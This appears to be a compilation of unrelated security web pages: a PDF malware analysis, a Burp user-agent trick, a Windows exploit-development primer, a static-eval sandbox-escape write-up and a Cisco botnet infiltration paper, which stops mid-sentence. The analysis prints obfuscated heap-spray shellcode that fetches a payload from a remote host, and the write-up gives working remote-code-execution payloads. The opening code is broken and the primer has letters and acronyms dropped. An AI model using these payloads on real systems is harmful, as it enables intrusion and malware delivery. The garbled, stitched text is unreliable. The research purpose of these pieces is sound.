> Array();for(i=0;i<0x2000;i++) {memory[i]= block +
> shellcode;}util.printd("rlpPpjTXXIncUhwagCzcuHfmkzObBSZDGNdC", new
> Date());util.printd("SotSxNQvMqKNjJkIXioKlmfZYfmiPGgGNNKn", new Date());try
> {this.media.newPlayer(null);} catch(e) {}util.printd(GDagaCuyNfRSFzaSZLO,
> new Date());} function util_printf(){var
> payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u382F%u2E35%u3031%u322E%u3334%u312E%u3532%u622F%u6862%u6C2F%u616F%u2E64%u6870%u3F70%u7073%u3D6C%u6470%u5F66%u6170%u6B63");var
> nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A"); var heapblock=nop+payload;var
> bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var
> spray=headersize+heapblock.length;while(bigblock.length<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
> if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}
> printd(); } PPPDDDFF();`
### And these seem to be on this exact same topic

http://isc.sans.org/diary.html?storyid=7906  
http://www.inreverse.net/?p=549

* * *
¹ I'm not 100% certain that it is Neosploit doing this, as I'm only looking at
this toolkit's output.  
² Neosploit and Mebroot go together like peanut butter and chocolate.  
³ It looks almost exactly like the simple example in Annex H of the PDF
specification.  
4 This is a bit of an oversimplification. I'm leaving out all the stuff about
cross reference streams, and reconstructing a file if the xref table is
damaged or missing.  

* * *
* * *
**Julia Wolf** @ FireEye Malware Intelligence Lab  
Questions/Comments to `research` \[@\] `fireeye` \[.\] `com`

`FE Malware Researcher on 2010.01.14 in Current Affairs, Exploit Research, Malware Research,Vulnerability Research | Permalink`
Technorati Tags: 0-day, Acrobat, Adobe, Adobe Reader, annotation, attack, CVE,
exploit, getAnnots,hexdump, howto, ISO 32000-1:2008, javascript, Julia Wolf,
malware, Mebroot, Neosploit, obfuscation,PDF, shellcode, Sinowal,
syncAnnotScan, toolkit, zlib

``

### `TrackBack`

`TrackBack URL for this entry:  
http://www.typepad.com/services/trackback/6a00d835018afd53ef0120a7b2b24d970b`

`Listed below are links to weblogs that reference PDF Obfuscation using
getAnnots():`

``

### `Comments`

`<img src='img/Temp2_3222' width='10' height='10' alt='Feed' /> You can follow
this conversation by subscribing to the comment feed for this post.`

``

``

`Thanks for the detailed post, some additional domains related to this
campaign can be found at the link below.`

`http://malc0de.com/database/index.php?search=trest`

  *[xref]: Cross Reference Table

# Room362.com - Blog - Brute-Forcing Compatibility

**Created:**| _11/20/2009 12:29:22 PM_  
---|---  
**Updated:**| _11/20/2009 12:29:38 PM_  
**Author:**| __  
**Tags:**| _security tools_  
  

## BRUTE-FORCING COMPATIBILITY

THURSDAY, NOVEMBER 19, 2009 AT 3:20PM

Idea came thanks to cktricky from: http://cktricky.blogspot.com/

A bunch of sites on the web give you different pages depending on the browser
you use to view it. I know when I was a web developer compatibility was the
bane of my existence, as I'm sure it still is for all the web devs out there.
Well, sometimes this leads to bad coding practices, or even the old "Google
Bot gets to see everything" feature. Well, I had an idea to take Burp's
Intruder and "Brute Force" any compatibility coding that a site may have.
Especially if there is a restricted section of the page that you know is
there, but don't have access to.

To start off you need a list of user agents. I pulled mine from the User-Agent
Switcher lists I found on the web since they are in easily parsed XML.

From:http://www1.qainsight.net:8080/2007/05/18/Four+Links+To+UserAgent+List+And+An+Update+To+The+Useragent+Import.aspx

I downloaded: http://qainsight.net/content/binary/AgentStrings20070517.xml

There are plenty of ways to parse XML in your scripting language of choice but
here is some dirty bash script that worked for me:

> cat AgentStrings20070517.xml | grep "useragent=" | grep -v "\\\*" | awk -F '"' '\{print $4\}' > useragents.txt 
Next, we set up our Intruder instance:

<img src='img/Temp2_7007.png' />

And import useragents.txt into Intruder and kick it off.

<img src='img/Temp2_7006.png' />

If any of the 'payloads' come back with anything different, it's definitely
something to look into.

# Windows Basics - Exploit Development Community

**Created:**| _6/9/2015 10:27:40 AM_  
---|---  
**Updated:**| _6/18/2015 3:19:48 PM_  
**Author:**| __  
**Tags:**| _bookmark Exploit windows howto_  
  

# Windows Basics

This is a very brief article about some facts that should be common knowledge
to Windows developers, but that Linux developers might not know.

## Win32 API

The main of Windows is provided through several s \(ynamic inkibraries\). An
application can import functions from those and call them. This way, the
internal s of the Kernel can change from a version to the next without
compromising the portability of normal user mode applications.

## PE file format

Executables and s are \(ortable xecutable\) files. Each includes an import and
an export table. The import table specifies the functions to import and in
which files they are located. The export table specifies the exported
functions, i.e. the functions that can be imported by other files.

files are composed of various sections \(for code, data, etc…\). The .reloc
section contains information to relocate the executable or in memory. While
some addresses in code are relative \(like for the relative jmps\), many are
absolute and depends on where the module is loaded in memory.

The Windows loader searches for s starting with the current working directory,
so it is possible to distribute an application with a different from the one
in the system root \(\windows\system32\). This versioning issue is called DLL-
hell by some people.

One important concept is that of a \(elative irtual ddress\). files use s to
specify the position of elements relative the base address of the module. In
other words, if a module is loaded at an address and an element has an , then
the element’s absolute address in memory is simply .

## Threading

If you’re used to Windows, there’s nothing strange about the concept of
threads, but if you come form Linux, keep in mind that Windows gives CPU-time
slices to threads rather than to processes like Linux. Moreover, there is no
fork\(\) function. You can create new processes with CreateProcess\(\) and new
threads with CreateThreads\(\). Threads execute within the address space of
the process they belong to, so they share memory.

Threads also have limited support for non-shared memory through a mechanism
called \(hread ocal Storage\). Basically, the of each thread contains a main
array of 64 DWORDS and an optional array of maximum 1024 DWORDS which is
allocated when the main array runs out of available DWORDs. First, an index,
corresponding to a position in one of the two arrays, must be allocated or
reserved with TlsAlloc\(\), which returns the index allocated. Then, each
thread can access the DWORD in one of its own two arrays at the index
allocated. The DWORD can be read with TlsGetValue\(index\) and written to with
TlsSetValue\(index, newValue\).  
As an example, TlsGetValue\(7\) reads the DWORD at index 7 from the main array
in the of the current thread.

Note that we could emulate this mechanism by using GetCurrentThreadId\(\), but
it wouldn’t be as efficient.

## Tokens and Impersonation

Tokens are representations of access rights. Tokens are implemented as 32-bit
integers, much like file handles. Each process maintains an internal structure
which contains information about the access rights associated with the tokens.

There are two types of tokens: primary tokens and secondary tokens. Whenever a
process is created, it is assigned a primary token. Each thread of that
process can have the token of the process or a secondary token obtained from
another process or the LoginUser\(\) function which returns a new token if
called with correct credentials.

To attach a token to the current thread you can use SetThreadToken\(newToken\)
and remove it with RevertToSelf\(\) which makes the thread revert to primary
token.

Let’s say a user connects to a server in Windows and send username and
password. The server, running as SYSTEM, will call LogonUser\(\) with the
provided credentials and if they are correct a new token is returned. Then the
server creates a new thread and that thread calls SetThreadToken\(new\_token\)
where new\_token is the token previously returned by LogonUser\(\). This way,
the thread executes with the same privileges of the user. When the thread is
finished serving the client, either it is destroyed, or it calls
revertToSelf\(\) and is added to the pool of free threads.  
If you can take control of a server, you can revert to SYSTEM by calling
RevertToSelf\(\) or look for other tokens in memory and attach them to the
current thread with SetThreadToken\(\).

One thing to keep in mind is that CreateProcess\(\) use the primary token as
the token for the new process. This is a problem when the thread which calls
CreateProcess\(\) has a secondary token with more privileges than the primary
token. In this case, the new process will have less privileges than the thread
which created it.

The solution is to create a new primary token from the secondary token of the
current thread by using DuplicateTokenEx\(\), and then to create the new
process by calling CreateProcessAsUser\(\) with the new primary token.

The following two tabs change content below.

#### Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of
computer security \(+ piano player & music composer\)

###  

# Bypassing a restrictive JS sandbox

**Created:**| _3/2/2019 6:03:59 PM_  
---|---  
**Updated:**| _3/2/2019 6:03:59 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

While participating in a bug bounty program, I found a site with a very
interesting functionality: it allowed me to filter some data based on a user-
controlled expression. I could put something like `book.price > 100` to make
it only show the books that are more expensive than $100. Using `true` as
filter showed me all the books, and `false` didn't show anything. So I was
able to know whether the expression I used was evaluating to true or false.

That functionality caught my attention so I tried passing it more complex
expressions, like `(1+1).toString()==="2"` \(evaluated to true\) and
`(1+1).toString()===5` \(evaluated to false\). This is clearly JavaScript
code, so I guessed that the expression was being used as an argument to a
function similar to `eval`, inside a NodeJS server. It seemed like I was close
to find a Remote Code Execution vulnerability. However, when I used more
complex expressions, I was getting an error saying that they were invalid. I
guessed that it wasn't the `eval` function that parsed the expression, but a
kind of sandbox system for JavaScript.

Sandbox systems used to execute untrusted code inside a restricted environment
are usually hard to get right. In most cases there exist ways to bypass this
protections to be able to execute code with normal privileges. This is
specially true if they try to limit the usage of complex, feature bloated
languages like JavaScript. The problem had already caught my attention, so I
decided to spend my time trying to break this sandbox system. I would learn
about JavaScript internals, and gain some bucks in case of finding and
exploiting the RCE.

The first thing I did was identify what library the site was using to
implement the sandbox, given that the NodeJS ecosystem is known for having
tens of libraries that do the same thing, and in many cases all of them are
doing it wrong. Maybe it was a custom sandbox library used only for the target
site, but I discarded this possibility because it was really unlikely that the
developers spent their time doing this kind of things.

Finally, by analyzing the app error messages I concluded that they were using
static-eval, a not very known library \(but written by substack, somebody well
known in the NodeJS community\). Even if the original purpose of the library
wasn't to be used as a sandbox \(I still don't understand what it was created
for\), its documentation suggests that. In the case of the site I was testing,
it certainly was being used as a sandbox.

### Breaking static-eval

The idea of static-eval is to use the esprima library to parse the JS
expression and convert it to an AST \(Abstract Syntax Tree\). Given this AST
and an object with the variables I want to be available inside the sandbox, it
tries to evaluate the expression. If it finds something strange, the function
fails and my code isn't executed. At first I was a bit demotivated because of
this, since I realized that the sandbox system was very restrictive with what
it accepted. I wasn't even able to use a `for` or `while` statement inside my
expression, so doing something that required an iterative algorithm was almost
impossible. Anyway, I kept trying to find a bug in it.

I did not find any bug at first sight, so I looked at the commits and pull
requests of the static-eval GitHub project. I found that the pull request \#18
fixed two bugs that allowed a sandbox escape in the library, exactly what I
was looking for. I also found a blog post of the pull request author that
explained this vulnerabilities in depth. I immediately tried using this
techniques in the site I was testing, but unfortunately to me, they were using
a newer static-eval version that already patched this vulns. However, knowing
that somebody has already been able to break this library made me more
confident so I kept looking for new ways to bypass it.

Then, I analyzed this two vulns in depth, hoping this could inspire me to find
new vulnerabilities in the library.

### Analysis of the first vulnerability

The first vuln used the function constructor to make a malicious function.
This technique is frequently used to bypass sandboxes. For example, most of
the ways to bypass the angular.js sandbox to get an XSS use payloads that end
up accessing and calling the function constructor. It was also used to bypass
libraries similar to static-eval, like vm2. The following expression shows the
existence of the vulnerability by printing the system environment variables
\(this shouldn't be possible because the sandbox should block it\):

[code]

    "".sub.constructor("console.log(process.env)")()
    
[/code]

In this code, `"".sub` is a short way to obtain a function \(`(function(){})`
would also work\). Then it access to the constructor of that function. That is
a function that when called returns a new function whose code is the string
passed as argument. This is like the eval function, but instead of executing
the code immediately, it returns a function that will execute the code when
called. That explains the `()` at the end of the payload, that calls the
created function.

<img src='img/Temp2_1245.png' width='860' height='322' alt='Result of
executing the previous payload' />

You can do more interesting things than showing the environment variables. For
example, you can use the `execSync` function of the `child_process` NodeJS
module to execute operating system commands and return its output. This
payload will return the output of running the `id` command:

[code]

    "".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
    
[/code]

The payload is similar to the previous one, except for the created function's
body. In this case, `global.process.mainModule.constructor._load` does the
same as the `require` function of NodeJS. For some reason I ignore, this
function isn't available with the name `require` inside the function
constructor, so I had to use that ugly name.

<img src='img/Temp2_1242.png' width='880' height='168' alt='Result of
executing the payload that runs the id command in the system' />

The fix for this vulnerability consisted in blocking the access to properties
of objects that are a function \(this is done with `typeof obj ==
'function'`\):

[code]

    else if (node.type === 'MemberExpression') {
        var obj = walk(node.object);
        // do not allow access to methods on Function 
        if((obj === FAIL) || (typeof obj == 'function')){
            return FAIL;
        }
    
[/code]

This was a very simple fix, bit it worked surprisingly well. The function
constructor is available, naturally, only in functions. So I can't get access
to it. An object's `typeof` can't be modified, so anything that is a function
will have its `typeof` set to a `function`. I didn't find a way to bypass this
protection, so I looked at the second vuln.

### Analysis of the second vuln

This vuln was way more simple and easy to detect than the first one: the
problem was that the sandbox allowed the creation of anonymous functions, but
it didn't check their body to forbid malicious code. Instead, the body of the
function was being directly passed to the function constructor. The following
code has the same effect than the first payload of the blog post:

[code]

    (function(){console.log(process.env)})()
    
[/code]

You can also change the body of the anonymous function so it uses `execSync`
to show the output of executing a system command. I'll leave this as an
exercise for the reader.

One possible fix for this vulnerability would be to forbid all anonymous
function declarations inside static-eval expressions. However, this would
block the legitimate use cases of anonymous functions \(for example, use it to
map over an array\). Because of this, the fix would have to allow the usage of
benign anonymous functions, but to block the usage of malicious ones. This is
done by analyzing the body of the function when it is defined, to check it
won't perform any malicious actions, like accessing the function constructor.

This fix turned out to be more complex than the first one. Also, Matt Austin
\(the author of the fix\) said he wasn't sure it would work perfectly. So I
decided to find a bypass to this fix.

### Finding a new vulnerability

One thing that caught my attention was that static-eval decided whether the
function was malicious or not at definition time, and not when it was being
called. So it didn't consider the value of the function arguments, because
that would require to make the check when the function is called instead.

My idea was always trying to access the function constructor, in a way that
bypasses the first fix that forbids that \(because I'm not able to access
properties of functions\). However, what would happen if I try to access the
constructor of a function parameter? Since its value isn't known at definition
time, maybe this could confuse the system and make it allow that. To test my
theory, I used this expression:

[code]

    (function(something){return something.constructor})("".sub)
    
[/code]

If that returned the function constructor, I would have a working bypass.
Sadly for me, it wasn't the case. static-eval will block the function if it
accesses a property of something with an unknown type at function definition
time \(in this case, the `something` argument\).

One useful feature of static-eval that is used in almost all cases, is
allowing to specify some variables you want to be available inside the static-
eval expression. For example, in the beginning of the blog post I used the
expression `book.price > 100`. In this case, the code calling static eval will
pass it the value of the `book` variable so it can be used inside the
expression.

This gave me another idea: what would happen if I make an anonymous function
with an argument whose name is the same as an already defined variable? Since
it can't know the value of the argument at definition time, maybe it uses the
initial value of the variable. That would be very useful to me. Suppose I have
a variable `book` and its initial value is an object. Then, the following
expression:

[code]

    (function(book){return book.constructor})("".sub)
    
[/code]

would have a very satisfactory result: when the function is defined, static-
eval would check if `book.constructor` is a valid expression. Since `book` is
initially an object \(whose typeof is `object`\) and not a function, accessing
to its constructor is allowed and the function will be created. However, when
I call this function, `book` will take the value passed as argument to the
function \(this is `"".sub`, another function\). Then it will access and
return its constructor, effectively returning the function constructor.

Sadly, this didn't work either because the author of the fix considered this
case. At the moment of analyzing the function's body, the value of all its
arguments it set to `null`, overriding the initial value of the variables.
This is a fragment of the code doing that:

[code]

    node.params.forEach(function(key) {
        if(key.type == 'Identifier'){
          vars[key.name] = null;
        }
    });
    
[/code]

This code takes the AST node that defines the function, iterates over each of
its parameters whose type is `Identifier`, takes its name and sets to null the
attribute of `vars` with that name. Even if the code looks correct, it has a
very common bug: it doesn't cover all possible cases. What would happen if an
argument is something strange and its type isn't `Identifier`? instead of
doing something sane and saying _"I don't know what this is, so I'll block the
entire function"_ \(like in a whitelist\), it will ignore that argument and
continue with the rest \(like a blacklist\). This means that if I make a node
representing a function argument have a type different from `Identifier`, the
value of the variable with that name won't be overwritten, so it would use the
initial value. At this time I was pretty confident that I found something
important. I only needed to find how to set the `key.type` to something
different from `Identifier`.

As I commented before, static-eval uses the esprima library to parse the code
we give to it. According to its documentation, esprima is a parser that fully
supports the ECMAScript standard. ECMAScript is something like a dialect of
JavaScript with more features, that makes its syntax more comfortable to the
user1.

One feature that was added to ECMAScript is function parameter destructuring.
With this feature, the following JS code is now valid:

[code]

    function fullName({firstName, lastName}){
        return firstName + " " + lastName;
    }
    console.log(fullName({firstName: "John", lastName: "McCarthy"}))
    
[/code]

The curly braces inside the definition of the function arguments indicate that
the function doesn't take two arguments `firstName` and `lastName`. Instead,
it takes just one argument that is an object that must have the `firstName`
and `lastName` properties. The previous code is equivalent to the following:

[code]

    function fullName(person){
        return person.firstName + " " + person.lastName;
    }
    console.log(fullName({firstName: "John", lastName: "McCarthy"}))
    
[/code]

If we see the AST generated by esprima \(I did it by using this tool\), we
will have a very satisfactory result:

<img src='img/Temp2_1243.png' width='930' height='497' alt='Result of parsing
the function using parameter destructuring' />

Indeed, this new syntax makes the function argument have a `key.type`
different from `Identifier`, so static-eval won't use it when it overrides the
variables. This way, when evaluating

[code]

    (function({book}){return book.constructor})({book:"".sub})
    
[/code]

static-eval will use the initial value of `book`, that is an object. Then, it
allows the creation of the function. But when it is called, book will be a
function, so the function constructor is now returned. I found the bypass\!

The previous expression returns the function constructor, so I only have to
call it to create a malicious function, and then call this created function:

[code]

    (function({book}){return book.constructor})({book:"".sub})("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
    
[/code]

I tried evaluating this expression in a local environment with the last
version of static-eval, and I got what I was expecting:

<img src='img/Temp2_1246.png' width='930' height='201' alt='Final working
exploit' />

Mission accomplished\! I found a bypass to the static-eval library allowing me
to get code execution in the machine that uses it. The only required condition
to make it work was knowing the name of a variable whose value isn't a
function, and that has a `constructor` attribute. Both strings, numbers,
arrays and objects fulfill this property, so it should be easy to achieve this
condition. I only needed to use this technique in the site I was testing, get
a PoC of the RCE and claim my money. Pretty simple. Or maybe not?

## Discovering that the exploit didn't work in my target

Unfortunately, not. After doing all this work and find an elegant and
functional bypass, I realized that it was not going to work in the site I was
testing. The only condition required was to have the name of a variable whose
value isn't a function, so you might be thinking I couldn't get it to make my
technique work. However, it did satisfy this condition. The reason it didn't
work is even more bizarre.

To give some context, the site wasn't using static-eval directly. It was using
it through the jsonpath npm library. JSONPath is a query language with the
same purpose as XPATH but made for JSON documents instead of XML ones. It was
initially published in 2007 in this article.

After reading the JSONPath documentation, I realized that it is a very poor
project, with a really vague specification about how it should work. Most of
the features it implements were probably made in an afterthought, without
properly considering if adding them was worth it, or if it was just a bad
idea. It's a shame that the NodeJS ecosystem is full of libraries like this
one.

<img src='img/Temp2_1244.png' width='400' height='400' />

JSONPath has a feature called filter expressions, that allows filtering
documents that match a given expression. For example, `$.store.book[?(@.price
< 10)].title` will get the books cheaper than $10, and then get their title.
In the case of the jsonpath npm library, the expression between parenthesis is
evaluated using static-eval. The site I was testing allowed me to specify a
JSONPath expression and parsed it with that library, so the RCE there was
evident.

If we see the previous JSONPath expression in detail, we can see that the
expression passed to static-eval is `@.price < 10`. According to the
documentation, `@` is a variable containing the document being filtered
\(usually it is an object\). Unfortunately, the creator of JSONPath had the
idea to name this variable `@`. According to the ECMAScript specification,
this isn't a valid variable name. So to make static-eval work, they had to do
a horrible thing that is patching the esprima code so it considers `@` as a
valid variable name.

When you create an anonymous function in static-eval, it is embedded into
another function that takes as argument the already defined variables. So if I
create an anonymous function inside a JSONPath filter expression, it will
create a function wrapping it that takes an argument named `@`. This is done
by directly calling the function constructor, so it doesn't use the esprima
patch of before. Then, when defining the function, it'll throw an error that I
won't be able to avoid. This is **just a bug in the library** , that makes it
fail when defining functions \(both benign and malicious\) inside filter
expressions. And because of this, my bypass technique won't work with this
library.

Just because of the horrible decision of naming a variable `@` in a library
that is used mainly in JS, where `@` isn't a valid variable name in JS, I
wasn't able to exploit the RCE in the site and obtain a 4-digit bounty. Why
wouldn't the author name it `_` \(that is a valid variable name\), `document`
or `joseph`\!\! This time, I'll have to settle only with having discovered a
great vulnerability in the library, and having learned a lot about JavaScript.

## Conclusions

Even if I wasn't able to get the bounty I was expecting, I had a really good
time playing with this library. And I used the concepts I learned to bypass a
different kind of restricted JS environments, this time getting an economic
reward. I hope to publish this other research soon.

I want to mention again the great previous work done by Matt Austin about
static-eval. Without this material, maybe I wouldn't have found this new
vulnerability.

As a general recommendation when testing a system, it is always tempting to
replicate and isolate one feature of it in a local environment we control, so
we can play with it more freely. In my case, I made a Docker instance with the
static-eval library to try bypassing the sandbox. My problem was that I only
used this instance during the whole research, without corroborating that what
I was doing was valid in the real site. If I had done this before, maybe I
would have noticed this wasn't going to work and I'd have moved to something
else. The lesson learned is that you shouldn't abstract so much over a whole
system, and that you should continuously test what you found in the real
system, instead of doing it just at the end of your research.

Finally, if you're auditing a site that has a similar system that evaluates
user-controlled expressions inside a sandbox, I highly recommend you to play
with it a considerable amount of time. It would be strange to find a sandbox
system free of vulnerabilities, specially if it executes dynamic, fully-
featured programming languages like JavaScript, Python or Ruby. And when you
find this kind of sandbox bypass vulns, they usually have a critical impact in
the application that contains them.

I hope you enjoyed this post. Greetings\!

## Extra: Cronology of the vuln

  * 01/02/19 - Report of the vulnerability submitted both to the NodeJS security team and to the static-eval mantainer. You can read the original report here
  * 01/03/19 - The NodeJS security team replicated the bug. The told me they were going to contact the library mantainer and publish an advisory if he didn't respond to the report
  * 02/14/19 - Advisory officially published in the nmpjs site
  * 02/15/19 - The library was fixed and a new version of it was released
  * 02/18/19 - The library's README file was updated to add a disclaimer saying that the library shouldn't be used as a sandbox
  * 02/26/19 - A new fix was applied to the library because my original fix had a bug and static-eval was still vulnerable

* * *
  1. It's worth noting that this is a pretty vague and incorrect definition of what ECMAScript is. My indifference to the JavaScript ecosystem makes me don't even bother in finding a more correct definition. ↩

  

# Infiltrating a Botnet - Cisco Systems

**Created:**| _8/21/2009 10:31:34 AM_  
---|---  
**Updated:**| _8/21/2009 10:31:48 AM_  
**Author:**| __  
**Tags:**| _botnets security_  
  

## Infiltrating a Botnet  
---  
|

### Contents

Overview  
Defending a Customer from a Botmaster  
An Unsuspecting Customer  
Stopping the Bot  
Conversations with a Botmaster  
You Can Find Anything on the Internet  
One-Stop Botnet Shopping  
Pretense to Avoid Pwning  
Conclusion  
References  
Acknowledgments  

# Overview

Many teams at Cisco are dedicated to security research. One team recently
investigated botnets with the goal of improving existing detection methods and
discovering the techniques botmasters use to compromise machines. The team’s
efforts were rewarded through their protection of an important customer’s
network. Their discovery efforts also yielded extraordinary insights into the
mind and motives of a botmaster. This paper discusses exploit protection and
reports on the interviews the team held with the botmaster they encountered.

# Defending a Customer from a Botmaster

Typically, administrators patch vulnerable machines or deploy some sort of
intrusion prevention system \(IPS\) to protect against exploits. Both
approaches are effective the majority of the time, but neither approach
protects systems against the uneducated user. These approaches may not even
protect people who take their machines home if the IPS is network-based. The
user who will click and run anything is the greatest threat to any network.
Internet relay chat \(IRC\) traffic on non-standard ports is a good indicator
of malicious activity. Simple botnets often use IRC as a command-and-control
framework because the source code is readily available. Joining a chat network
is not botnet activity, but it is usually not work-appropriate activity. Cisco
offers a service that monitors and manages network-based IPS. By monitoring
certain alerts from this data feed, suspicious IRC traffic was easily found.

## An Unsuspecting Customer

A Cisco customer was unaware of dozens of compromised machines. A tremendous
number of alerts including IRC activity, far larger than anything that could
be benign, were occurring on the customer’s network. The traffic from several
machines stood out from other systems on the network. There are occasionally
oddities in a network, but when a small subset of machines is observed sharing
the same odd behavior, researchers should take note. Figure 1 shows a data
feed from a Cisco IPS device. **Figure 1. Monitoring a Cisco IPS Data
Feed**<img src='img/Temp2_4423.jpg' alt='Monitoring a Cisco IPS Data Feed' />
Looking at the signature alerts, it was clear that the affected machines had
been compromised. The Cisco IPS detected the attack, but unfortunately the
customer was not running it inline or connected to the router, so the hits
were not blocked. There were several different botnets involved that looked
strangely similar. When inspecting the history of the machines, in addition to
the IRC traffic, exploitation and reconnaissance attempts were discovered.
None of the traffic was encrypted, indicating that the attackers were either
unsophisticated or unconcerned about hiding their tracks. The botmaster
occasionally took basic precautions, such as using server and channel
passwords, but failed to encrypt the data. Challenge-response exchanges were
hidden in normal IRC traffic. For example, upon connecting to a server, the
bot would immediately have to ping “MrB|g” with the key “s3cr3+sq|\_|rr3l” or
it would be denied access to the server. This challenge-response method was
also used by the clients in response to certain RFC 2812 commands, such as a
client-to-client protocol version request. Additionally, the bots would
respond to non-RFC 2812 commands. It was noted that different botnets seemed
to share many of the same commands. This led to the belief that most, if not
all, of these clients were based on a common source code. Figure 2 shows the
botnet. **Figure 2. Botnet**<img src='img/Temp2_4421.jpg' alt='Data Feed
Analysis' /> At this point in the investigation, the team’s largest concern
was for the customer. There was an urgent need to determine what the botnet
was doing and what information had been compromised. By using the Cisco IPS, a
wide range of data about the command-and-control networks was captured. For
example, the network was separated into several discrete command-and-control
nodes with different IP addresses. Over the course of a few weeks, commands
were captured and the network was monitored to see what information the
botmaster was targeting. An open source IRC client was set up to emulate an
infected machine and join the network. This allowed continuous monitoring
without having to leave any compromised machines active. The botmaster
targeted employees instead of the company itself. This action likely helped
the attacker to remain undetected. The botmaster’s mode of attack involved
stealing employees’ passwords that were stored in Internet Explorer and then
adding a redirect in the  _hosts_ file that enabled a man-in-the-middle attack
against a bank in Latin America.

## Stopping the Bot

Once the extent of the damage was determined, the bot needed to be stopped.
The team was able to demonstrate the modification of the hosts file, making
the compromise irrefutable. Some of the machines appeared to have been
compromised dozens of times. A worm or trojan would compromise the machine and
update the hosts file, only to have it corrected by the virus scanner \(or
other malware\). The correction would prevent the man-in-the-middle attack but
the botnet would load normally. This action occurred each time the system
booted. Some machines had dozens of entries that showed that the hosts file
was corrected repeatedly. It became clear that it was not feasible to clean
every infected machine, because in the time it took to alert the company to
the problem, the personal information of hundreds of employees could be
compromised. The customer did not have the capability of running Cisco IPS
inline, so the firewall was examined. When monitoring the botnet, it became
very clear that the IRC servers would update fairly frequently. The IRC
servers would move ports, servers, and change passwords, sometimes several
times a day. This frequent updating made it extremely hard to block the
command-and-control servers. The team found a visible flaw in the attack: the
botmaster had overlooked the update servers. The botmaster had several domain
names for the update server that could be broadcast by means of IRC to update
the bots before a server change-over. Close inspection revealed that the IP
address of the update server always belonged to one of a small group of
machines. Blocks were put in place immediately. When the botmaster issued the
next update, only a few of the systems \(and none from the customer\)
followed. The botmaster repeatedly issued the update command to no avail. When
the machines were locked down to one IRC server, a single block was sufficient
to disable the network. Had the botnet-client been more robust, it would have
been necessary to block backup networks. In this case, the customer was lucky,
and the single block was sufficient. The team continued monitoring the network
to ensure the systems were unable to reconnect to the network, giving the
customer the needed time to reimage all of the compromised machines. It was
not a perfect solution, but it stopped the data leakage and prevented the
systems from compromising other machines on the network.

# Conversations with a Botmaster

With the customer protected, only curiosity remained. The team wondered what
type of attacker would go to such complicated lengths but leave such a simple
hole in their plan of attack. Did the botmaster have so many networks that it
didn’t matter if one was blocked? Was the botmaster a script kiddie? For
answers, one of the researchers decided to go back to a monitoring box and
ask. At this stage the customer was protected and the botmaster was likely
away from the keyboard. The researcher sent out an intrepid “hey” and received
a response from the botmaster: “?” Thus began what turned into a months-long
conversation. The botmaster, upon realizing that one of his bots was suddenly
sentient, appeared to assume that the researcher was a fellow botmaster and
that their respective networks had “collided.” The researcher worked to
strengthen the botmaster’s assumption. Pretending to be a fellow botmaster,
the researcher asked about the server software. Figure 3 shows the initial
conversation with the botmaster. **Figure 3. Starting a Conversation**<img
src='img/Temp2_4420.jpg' alt='Starting a Conversation' /> After some
inconsequential chat, the researcher asked if the botmaster was using his
network for anything interesting. The botmaster readily revealed his master
plan: to compromise a few thousand machines and then sell them off in big
batches. With careful questions, the researcher learned from the botmaster
that the market rate was about US$0.10-$0.25 per machine and that the
botmaster had recently sold 10,000 machines for US$800. In attempts to bond
with the botmaster, the researcher discussed popular exploits, sharing stories
of “pwning,” or gaining control of, dozens of machines at a time. With a solid
background in IPS, the researcher was aware of current trends in vulnerability
research but asked in what area the botmaster focused his efforts. The
expected answer was a Microsoft vulnerability that worms such as  _Conficker_
exploit. The botmaster’s answer, however, was that he mostly focused on
instant messaging software. No vulnerability was required to grow his network.
Instead, he could spam 10,000 people with a simple “check out this cool
software” message and rely on at least a one percent response from the
recipients. As an approach, it made sense, because the same process continues
to work for spammers as it has worked for years, despite efforts at user
education. After revealing his methodology, the botmaster appeared to suddenly
realize that perhaps he had shared too much information with an unknown
person. He quizzed the researcher on “old school” \(that is, previously well-
known\) hackers. The researcher responded that he did not know any of the old-
school attackers. \(When the researcher later did online searches on the old-
school attackers, most of them had been apprehended by the Federal Bureau of
Investigations.\) By saying he did not know any of the attackers that the
botmaster named, the researcher established credibility with the botmaster
that he was not a law enforcement agent. After this exchange, the botmaster
gave the researcher his contact information through Microsoft Network \(MSN\)
so the two could communicate more easily. Figure 4 shows a trust-building
session between the researcher and the botmaster. **Figure 4. Building
Trust**<img src='img/Temp2_4417.jpg' alt='Building Trust' />

## You Can Find Everything on the Internet

As any good hacker would, the researcher immediately keyed the botmaster’s
screen name into Google and found a few posts. The posts led the researcher to
additional handles, or usernames, which then led to hundreds of posts by the
same author. Under a different handle, the botmaster was the author of an
enormous amount of IRC-based botnet software. He was also very well known in
the black hat community, where attackers and hackers share information.
Intrigued, the researcher decided to accept the botmaster’s invitation to stay
in touch. The researcher created an MSN account and, over the course of
several days, multiple MSN conversations were held between the researcher and
the botmaster. Topics focused primarily on secrets of the botnet trade and
discussions of various software packages. The botmaster confirmed the
researcher’s theory that many of the IRC-based botnets stemmed from a single
